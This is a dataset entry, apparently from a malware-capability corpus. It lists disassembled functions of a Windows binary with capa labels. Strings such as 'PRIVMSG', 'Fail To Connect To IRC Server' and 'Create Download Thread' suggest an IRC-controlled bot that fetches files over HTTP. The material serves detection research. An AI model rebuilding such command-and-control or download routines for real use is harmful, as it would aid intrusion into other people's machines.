joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000aaf0
Capabilities:
Send data
Send http request

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
mov eax, 0x1180
call fcn.140021580
sub rsp, rax
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x1170], rax
mov r13, qword [rsp + 0x11e0]
mov rbp, qword [rsp + 0x11e8]
mov rdi, rcx
mov r12, r8
mov rbx, rdx
lea rcx, [rsp + 0x161]
xor edx, edx
mov r8d, 0x1003
mov rsi, r9
mov byte [rsp + 0x160], 0
call fcn.140013cc0
xor r14d, r14d
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x103
mov dword [rsp + 0x40], 0x1000
mov dword [rsp + 0x44], r14d
mov byte [rsp + 0x50], r14b
call fcn.140013cc0
test r12, r12
jne 0x14000abd1
mov edx, 0x103
lea rcx, [rsp + 0x50]
test rbx, rbx
jne 0x14000abae
lea r8, str._r_nFail_To_Connect_To_HTTP_r_n_r_n
call fcn.140013ac4
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400063e0
xor eax, eax
jmp 0x14000ad32
lea r8, str.PRIVMSG__s_:Fail_To_Connect_To_HTTP_r_n
mov r9, rbx
call fcn.140013ac4
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400063e0
xor eax, eax
jmp 0x14000ad32
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], 0x80000000
lea r9, str.HTTP_1.1
lea rdx, [0x140024ec0]
mov r8, r13
mov rcx, r12
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rsi], rax
test rax, rax
jne 0x14000ac45
mov edx, 0x103
lea rcx, [rsp + 0x50]
test rbx, rbx
jne 0x14000ac39
lea r8, str._r_nFail_To_Open_HTTP_Request_r_n_r_n
call fcn.140013ac4
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400063e0
xor eax, eax
jmp 0x14000ad32
lea r8, str.PRIVMSG__s_:Fail_To_Open_HTTP_Request_r_n
jmp 0x14000abb5
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], r14d
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x14000ac9a
mov edx, 0x103
lea rcx, [rsp + 0x50]
test rbx, rbx
jne 0x14000ac8e
lea r8, str._r_nThe_File_Doesnt_Exist_Or_Fail_To_Send_HTTP_Request_r_n_r_n
call fcn.140013ac4
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400063e0
xor eax, eax
jmp 0x14000ad32
lea r8, str.PRIVMSG__s_:The_File_Doesnt_Exist_Or_Fail_To_Send_HTTP_Request_r_n
jmp 0x14000abb5
lea rcx, [rsp + 0x160]
xor edx, edx
mov r8d, 0x1004
call fcn.140013cc0
mov rcx, qword [rsi]
lea rax, [rsp + 0x44]
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x160]
mov edx, 5
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0x1000
mov dword [rsp + 0x44], r14d
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x14000ad1d
mov edx, 0x103
lea rcx, [rsp + 0x50]
test rbx, rbx
jne 0x14000ad11
lea r8, str._r_nFail_To_Query_Info_r_n_r_n
call fcn.140013ac4
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400063e0
xor eax, eax
jmp 0x14000ad32
lea r8, str.PRIVMSG__s_:Fail_To_Query_Info_r_n
jmp 0x14000abb5
lea rcx, [rsp + 0x160]
call fcn.140014018
mov dword [rbp], eax
mov eax, 1
mov rcx, qword [rsp + 0x1170]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x1180
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000ad60
Capabilities:
Parse url

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x1b0
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov r14, qword [rsp + 0x210]
mov rsi, qword [rsp + 0x218]
mov rbp, rdx
xor edx, edx
mov rbx, r8
mov r13, rcx
lea r8d, [rdx + 0x68]
lea rcx, [rsp + 0x20]
mov r12, r9
call fcn.140013cc0
lea rcx, [rsp + 0x91]
xor edx, edx
mov r8d, 0x103
mov dword [rsp + 0x20], WSAGetLastError
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x70], 1
mov byte [rsp + 0x90], 0
call fcn.140013cc0
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
lea r9, [rsp + 0x20]
repne scasb al, byte [rdi]
xor r8d, r8d
not rcx
lea rdx, [rcx - 1]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
jne 0x14000ae74
mov edx, 0x103
lea rcx, [rsp + 0x90]
test rbp, rbp
jne 0x14000ae51
lea r8, str._r_nInvalid_URL_r_n_r_n
call fcn.140013ac4
lea rdx, [rsp + 0x90]
mov rcx, r13
call fcn.1400063e0
xor eax, eax
jmp 0x14000aee3
lea r8, str.PRIVMSG__s_:Invalid_URL_r_n
mov r9, rbp
call fcn.140013ac4
lea rdx, [rsp + 0x90]
mov rcx, r13
call fcn.1400063e0
xor eax, eax
jmp 0x14000aee3
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x14000ae95
mov rdx, qword [rsp + 0x38]
mov r8, rax
mov rcx, r12
call fcn.140013620
mov edx, dword [rsp + 0x40]
mov byte [rdx + r12], 0
movzx eax, word [rsp + 0x44]
mov dword [r14], eax
mov eax, dword [rsp + 0x70]
test eax, eax
je 0x14000aede
mov rdx, qword [rsp + 0x68]
mov r8, rax
mov rcx, rsi
call fcn.140013620
mov edx, dword [rsp + 0x70]
mov byte [rdx + rsi], 0
movzx eax, byte [rsi]
cmp al, 0x2f
je 0x14000aec8
cmp al, 0x5c
jne 0x14000aede
lea rdx, [rsi + 1]
sub rsi, rdx
nop
movzx ecx, byte [rdx]
inc rdx
mov byte [rsi + rdx - 1], cl
test cl, cl
jne 0x14000aed0
mov eax, 1
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x1b0
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000af10
Capabilities:
Send data
Send http request

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
mov eax, 0x1188
call fcn.140021580
sub rsp, rax
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x1170], rax
mov rdi, qword [rsp + 0x11e0]
mov r12, rcx
mov rbx, r8
mov rsi, rdx
lea rcx, [rsp + 0x161]
mov r8d, 0x1003
xor edx, edx
mov r13, r9
mov byte [rsp + 0x160], 0
call fcn.140013cc0
xor ebp, ebp
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x103
mov dword [rsp + 0x40], 0x1000
mov dword [rsp + 0x44], ebp
mov byte [rsp + 0x50], bpl
call fcn.140013cc0
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x30], 0x80000000
lea r9, str.HTTP_1.1
lea rdx, [0x140024ec0]
mov r8, rdi
mov rcx, rbx
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edx, 0x103
lea rcx, [rsp + 0x50]
mov qword [r13], rax
test rax, rax
jne 0x14000b01a
test rsi, rsi
jne 0x14000aff7
lea r8, str._r_nFail_To_Open_Request_For_Setting_File_Pointer_r_n_r_n
call fcn.140013ac4
lea rdx, [rsp + 0x50]
mov rcx, r12
call fcn.1400063e0
xor eax, eax
jmp 0x14000b13c
lea r8, str.PRIVMSG__s_:Fail_To_Open_Request_For_Setting_File_Pointer_r_n
mov r9, rsi
call fcn.140013ac4
lea rdx, [rsp + 0x50]
mov rcx, r12
call fcn.1400063e0
xor eax, eax
jmp 0x14000b13c
mov r9d, dword [rsp + 0x11e8]
lea r8, str.Range:bytes_u_
call fcn.140013ac4
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x50]
lea rdx, [rsp + 0x50]
xor r9d, r9d
repne scasb al, byte [rdi]
mov dword [rsp + 0x20], ebp
not rcx
lea r8, [rcx - 1]
mov rcx, qword [r13]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x14000b097
mov edx, 0x103
lea rcx, [rsp + 0x50]
test rsi, rsi
jne 0x14000b08b
lea r8, str._r_nFail_To_Send_Request_For_Setting_File_Pointer_r_n_r_n
call fcn.140013ac4
lea rdx, [rsp + 0x50]
mov rcx, r12
call fcn.1400063e0
xor eax, eax
jmp 0x14000b13c
lea r8, str.PRIVMSG__s_:Fail_To_Send_Request_For_Setting_File_Pointer_r_n
jmp 0x14000affe
lea rcx, [rsp + 0x160]
xor edx, edx
mov r8d, 0x1004
call fcn.140013cc0
mov rcx, qword [r13]
lea rax, [rsp + 0x44]
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x160]
mov edx, reloc.WS2_32.dll_send
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0x1000
mov dword [rsp + 0x44], ebp
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x14000b11a
mov edx, 0x103
lea rcx, [rsp + 0x50]
test rsi, rsi
jne 0x14000b10e
lea r8, str._r_nFail_To_Query_Info_For_Setting_File_Pointer_r_n_r_n
call fcn.140013ac4
lea rdx, [rsp + 0x50]
mov rcx, r12
call fcn.1400063e0
xor eax, eax
jmp 0x14000b13c
lea r8, str.PRIVMSG__s_:Fail_To_Query_Info_For_Setting_File_Pointer_r_n
jmp 0x14000affe
lea rdx, [0x140024f9c]
lea rcx, [rsp + 0x160]
mov r8d, 3
call fcn.140014470
test eax, eax
sete bpl
mov eax, ebp
mov rcx, qword [rsp + 0x1170]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x1188
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000bbb0
Capabilities:
Create thread

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x388
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x370], rax
mov eax, dword [rsp + 0x3d0]
mov rsi, rcx
mov qword [rsp + 0x40], rcx
mov rbp, r8
mov rbx, rdx
mov qword [rsp + 0x48], rdx
lea rcx, [rsp + 0x54]
xor edx, edx
mov r8d, 0x104
mov dword [rsp + 0x50], eax
mov rdi, r9
call fcn.140013cc0
lea rcx, [rsp + 0x158]
xor edx, edx
mov r8d, 0x104
call fcn.140013cc0
test rbp, rbp
je 0x14000bc2e
lea rcx, [rsp + 0x54]
mov r8d, 0x103
mov rdx, rbp
call fcn.140013620
test rdi, rdi
je 0x14000bc49
lea rcx, [rsp + 0x158]
mov r8d, 0x103
mov rdx, rdi
call fcn.140013620
lea rcx, [rsp + 0x261]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x260], 0
call fcn.140013cc0
lea r11, [rsp + 0x30]
mov qword [rsp + 0x28], r11
lea r9, [rsp + 0x40]
lea r8, [0x14000b160]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0x103
lea rcx, [rsp + 0x260]
mov rdi, rax
test rax, rax
jne 0x14000bceb
test rbx, rbx
jne 0x14000bcc8
lea r8, str._r_nFail_To_Create_Download_Thread_r_n_r_n
call fcn.140013ac4
lea rdx, [rsp + 0x260]
mov rcx, rsi
call fcn.1400063e0
xor eax, eax
jmp 0x14000bd39
lea r8, str.PRIVMSG__s_:Fail_To_Create_Download_Thread_r_n
mov r9, rbx
call fcn.140013ac4
lea rdx, [rsp + 0x260]
mov rcx, rsi
call fcn.1400063e0
xor eax, eax
jmp 0x14000bd39
test rbx, rbx
jne 0x14000bcfe
lea r8, str._r_nCreate_Download_Thread_Successfully_r_n_r_n
call fcn.140013ac4
jmp 0x14000bd0d
lea r8, str.PRIVMSG__s_:Create_Download_Thread_Successfully_r_n
mov r9, rbx
call fcn.140013ac4
lea rdx, [rsp + 0x260]
mov rcx, rsi
call fcn.1400063e0
mov edx, 0x5dc
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x370]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x388
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000c8c0
Capabilities:
Check for time delay via gettickcount
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x14002db18]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, rbx
call fcn.140001240
lea rcx, [0x14002db18]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test rbx, rbx
jne 0x14000c904
lea rcx, str.Fail_To_Get_TCP_Data_Socket_n
add rsp, 0x20
pop rbx
jmp fcn.140002780
mov rdx, qword [rbx + 8]
xor r8d, r8d
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14000c300
Function at 0x14000d3a0
Capabilities:
Connect socket

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rcx, qword [0x14002df80]
xor eax, eax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x2c], eax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, qword [0x14002df80]
cmp eax, 0xffffffff
jne 0x14000d45a
call fcn.1400013a0
mov rbx, rax
test rax, rax
je 0x14000d440
lea rdx, str.127.0.0.1
mov rcx, rax
call fcn.140013fc4
test eax, eax
jne 0x14000d415
mov r8, qword [0x14002df80]
xor edx, edx
or rcx, 0xffffffffffffffff
call fcn.14000c040
mov rbx, rax
test rbx, rbx
je 0x14000d41f
mov rcx, rbx
jmp 0x14000d45a
lea rcx, str.Fail_To_Resolve_Host_Name_n
call fcn.140002780
xor eax, eax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x40
pop rbx
ret
mov r8, qword [0x14002df80]
xor edx, edx
or rcx, 0xffffffffffffffff
call fcn.14000c040
test rax, rax
je 0x14000d41f
mov rcx, rax
call qword [sym.imp.WS2_32.dll_inet_addr]
movzx ecx, word [0x14002dfc0]
mov ebx, 2
mov dword [rsp + 0x24], eax
mov word [rsp + 0x20], bx
call qword [sym.imp.WS2_32.dll_htons]
lea edx, [rbx - 1]
xor r8d, r8d
mov ecx, ebx
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x14002d900], rax
cmp rax, 0xffffffffffffffff
jne 0x14000d4bc
lea rcx, str.Fail_To_Create_IRC_Socket_n
call fcn.140002780
xor eax, eax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x40
pop rbx
ret
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x14000d50d
lea rcx, str.Fail_To_Connect_To_IRC_Server_n
call fcn.140002780
mov rcx, qword [0x14002d900]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [0x14002d900], 0xffffffffffffffff
xor eax, eax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x40
pop rbx
ret
mov eax, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x40
pop rbx
ret
Function at 0x14000d760
Capabilities:
Connect socket

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov ecx, 0x2000
call fcn.14000a190
mov rbx, rax
test rax, rax
jne 0x14000d7a8
lea rcx, str.Fail_To_Get_Session_n
call fcn.140002780
xor eax, eax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x40
pop rbx
ret
lea rcx, [0x14002db48]
call qword [sym.imp.WS2_32.dll_inet_addr]
movzx ecx, word [0x14002db5c]
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
mov ecx, 2
lea edx, [rcx - 1]
xor r8d, r8d
mov word [rsp + 0x20], cx
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx], rax
cmp rax, 0xffffffffffffffff
je 0x14000d793
mov rdx, qword [0x14002dfe0]
mov r9d, gethostbyname
mov r8d, 0x401
mov rcx, rax
call qword [sym.imp.WS2_32.dll_WSAAsyncSelect]
mov rcx, qword [rbx]
cmp eax, 0xffffffff
je 0x14000d834
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000d84e
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x14000d84e
mov rcx, qword [rbx]
call fcn.140005d50
xor eax, eax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x40
pop rbx
ret
lea rcx, str.Request_The_Connection_n
call fcn.140002780
mov eax, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x40
pop rbx
ret
Function at 0x14000dab0
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbx, rcx
lea rcx, [0x14002db18]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, rbx
call fcn.140001240
lea rcx, [0x14002db18]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test rbx, rbx
jne 0x14000db11
lea rcx, str.OnConnect:_Fail_To_Get_Data_Socket_n
call fcn.140002780
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x50
pop rbx
ret
cmp dword [rbx + 0x48], 3
je 0x14000db49
mov rcx, qword [rbx]
mov edx, 0x258
mov dword [rbx + 0x48], 3
call fcn.14000d650
test eax, eax
je 0x14000db49
cmp dword [0x14002dfe8], 0
je 0x14000db49
lea rcx, str.Set_Time_Out_To__d_Seconds_OK_n
mov edx, 0x258
call fcn.14001347c
mov r8d, dword [rbx + 0x3c]
test r8d, r8d
jle 0x14000dce8
movsxd rcx, dword [rbx + 0x40]
lea rdx, [rbx + 0xa0]
mov qword [rsp + 0x68], rdi
xor edi, edi
sub r8d, ecx
mov rax, rcx
add rax, qword [rbx + 0x30]
mov rcx, qword [rbx]
mov dword [rdx], r8d
mov qword [rsp + 0x30], rdi
lea r9, [rsp + 0x40]
lea r8d, [rdi + 1]
mov qword [rsp + 0x28], rdi
mov qword [rbx + 0xa8], rax
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.WS2_32.dll_WSASend]
cmp eax, 0xffffffff
jne 0x14000dbcb
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x14000dbbf
mov rcx, qword [rbx]
call fcn.140005d50
jmp 0x14000dce3
lea rcx, str.The_Control_Socket_Is_Full_n
jmp 0x14000dcde
mov eax, dword [rsp + 0x40]
mov dword [rbx + 0xb0], 1
add dword [rbx + 0x40], eax
mov eax, dword [rbx + 0x40]
cmp eax, dword [rbx + 0x3c]
jne 0x14000dbf9
mov r8d, dword [rbx + 0x38]
mov rcx, qword [rbx + 0x30]
xor edx, edx
mov dword [rbx + 0x40], edi
mov dword [rbx + 0x3c], edi
call fcn.140013cc0
mov rcx, qword [rbx + 8]
mov edx, 0x4000
mov r8d, 0x8000
call fcn.140001970
test eax, eax
je 0x14000dc1d
lea rcx, str.Reset_Data_Socket_Buffer_Size_OK_n
call fcn.140002780
mov rcx, qword [rbx]
mov edx, 0x4000
mov r8d, 0x8000
call fcn.140001970
test eax, eax
je 0x14000dc40
lea rcx, str.Reset_Control_Socket_Buffer_Size_OK_n
call fcn.140002780
mov rcx, qword [rbx]
mov edx, 1
call fcn.140001040
mov rcx, qword [rbx + 8]
mov edx, 1
call fcn.140001040
mov eax, dword [rbx + 0xc0]
test al, 2
je 0x14000dc96
mov r8, qword [rbx + 8]
add eax, 0xfffffffe
mov r9d, 1
mov dword [rbx + 0xc0], eax
mov rcx, qword [0x14002dfe0]
mov edx, 0x402
call qword [sym.imp.USER32.dll_PostMessageA]
lea rcx, str.Post_Event_On_Data_Socket_n
call fcn.140002780
mov eax, dword [rbx + 0xc0]
test al, 1
je 0x14000dccf
mov r8, qword [rbx]
dec eax
mov r9d, 1
mov dword [rbx + 0xc0], eax
mov rcx, qword [0x14002dfe0]
mov edx, 0x401
call qword [sym.imp.USER32.dll_PostMessageA]
lea rcx, str.Post_Event_On_Control_Socket_n
call fcn.140002780
cmp dword [rbx + 0xc0], edi
je 0x14000dce3
lea rcx, str.Event_Quest_Has_More_Events_n
call fcn.140002780
mov rdi, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x50
pop rbx
ret
Function at 0x14000e820
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor eax, eax
mov edi, 2
mov rbx, rcx
mov qword [rsp + 0x28], rax
mov edx, edi
mov ecx, edi
xor r8d, r8d
mov word [rsp + 0x30], ax
mov byte [rsp + 0x32], al
mov byte [rsp + 0x28], 5
mov byte [rsp + 0x29], al
mov byte [rsp + 0x2a], al
mov byte [rsp + 0x2b], 1
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx + 8], rax
cmp rax, 0xffffffffffffffff
jne 0x14000e897
mov rcx, qword [rbx]
lea r8d, [rdi + 8]
lea rdx, [rsp + 0x28]
mov byte [rsp + 0x29], 1
call fcn.1400012e0
xor eax, eax
jmp 0x14000ea3e
mov qword [rsp + 0x58], rbp
xor ebp, ebp
xor ecx, ecx
mov qword [rsp + 0x60], rsi
mov word [rbx + 0x5c], di
mov dword [rbx + 0x60], ebp
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [rbx + 8]
lea r8d, [rbp + 0x10]
lea rdx, [rbx + 0x5c]
mov word [rbx + 0x5e], ax
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x14000e948
mov rdx, qword [0x14002dfe0]
mov rcx, qword [rbx + 8]
lea r9d, [rbp + 0x2b]
mov r8d, 0x403
call qword [sym.imp.WS2_32.dll_WSAAsyncSelect]
cmp eax, 0xffffffff
je 0x14000e948
cmp dword [0x14002dfe8], ebp
je 0x14000e905
mov rdx, qword [rbx + 8]
lea rcx, str.The_UDP_Data_Socket:__d_n
call fcn.14001347c
mov rcx, qword [rbx + 8]
lea r8, [rsp + 0x20]
lea rdx, [rbx + 0x5c]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x14000e948
mov rcx, qword [rbx]
movzx edi, word [rbx + 0x5e]
lea r8, [rsp + 0x20]
lea rdx, [rbx + 0x5c]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x14000e967
mov rcx, qword [rbx]
lea rdx, [rsp + 0x28]
mov r8d, 0xa
mov byte [rsp + 0x29], 1
call fcn.1400012e0
xor eax, eax
jmp 0x14000ea34
mov esi, dword [rbx + 0x60]
mov word [rbx + 0x5e], di
mov byte [rsp + 0x28], 5
mov byte [rsp + 0x29], bpl
mov byte [rsp + 0x2a], bpl
mov byte [rsp + 0x2b], 1
mov dword [rsp + 0x2c], esi
mov word [rsp + 0x30], di
cmp dword [0x14002dfe8], ebp
je 0x14000e9d2
lea rcx, str.Bind_OK_n
call fcn.14001347c
lea rcx, str.Info:
call fcn.14001347c
mov ecx, esi
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, eax
call fcn.1400013d0
movzx ecx, di
call qword [sym.imp.WS2_32.dll_ntohs]
lea rcx, str._____d_n
movzx edx, ax
call fcn.14001347c
mov rcx, qword [rbx]
mov edx, 0x258
mov dword [rbx + 0x48], 3
call fcn.14000d650
test eax, eax
je 0x14000ea03
cmp dword [0x14002dfe8], ebp
je 0x14000ea03
lea rcx, str.Set_Time_Out_To__d_Seconds_OK_n
mov edx, 0x258
call fcn.14001347c
mov r8d, dword [rbx + 0x38]
mov rcx, qword [rbx + 0x30]
xor edx, edx
mov dword [rbx + 0x3c], ebp
mov dword [rbx + 0x40], ebp
call fcn.140013cc0
mov rcx, qword [rbx]
lea rdx, [rsp + 0x28]
mov r8d, 0xa
call fcn.1400012e0
cmp eax, 0xa
sete bpl
mov eax, ebp
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400135f0
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x140012410
Capabilities:
Check for time delay via gettickcount
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x14002db18]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, rbx
call fcn.140001210
lea rcx, [0x14002db18]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, str.TCP_On_Read_Control_Socket_n
call fcn.140002780
test rbx, rbx
je 0x1400124a8
mov rdx, qword [rbx]
mov r8d, 1
mov rcx, rbx
call fcn.14000dd00
test eax, eax
je 0x1400124a8
mov eax, dword [rbx + 0x48]
cmp eax, 3
jne 0x140012498
mov eax, dword [rbx + 0x44]
cmp eax, 1
jne 0x140012482
mov rcx, qword [rbx + 8]
add rsp, 0x20
pop rbx
jmp fcn.14000c8c0
cmp eax, 3
jne 0x1400124a8
lea rcx, str.No_Way_To_Be_Here_n
add rsp, 0x20
pop rbx
jmp fcn.140002780
cmp eax, 2
jne 0x1400124a8
lea edx, [rax - 1]
mov rcx, rbx
call fcn.140012250
add rsp, 0x20
pop rbx
ret

Function at 0x140012ef0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x28
xor edx, edx
lea rcx, [0x14002e150]
lea r8d, [rdx + 0x64]
call fcn.140013cc0
call fcn.140006240
test eax, eax
je 0x140012f18
add rsp, 0x28
jmp fcn.140012ad0
lea rcx, str.Fail_To_Read_Global_Info_n
add rsp, 0x28
jmp fcn.140002780

Function at 0x140015adb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14002c0b0]
jne 0x14001360a
rol rcx, 0x10
test cx, 0xffff
jne 0x140013606
repz ret
ror rcx, 0x10
jmp 0x140015a34
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14002e360]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14002e458]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140015ab9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14002e360]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140015adb
mov rax, qword [rsp + 0x88]
mov qword [0x14002e458], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14002e3f8], rax
mov rax, qword [0x14002e458]
mov qword [0x14002e2d0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14002e3e0], rax
mov dword [0x14002e2c0], 0xc0000409
mov dword [0x14002e2c4], 1
mov rax, qword [0x14002c0b0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14002c0b8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14002e358], eax
mov ecx, 1
call fcn.14001afd8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140027ef0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14002e358], 0
jne 0x140015b62
mov ecx, 1
call fcn.14001afd8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret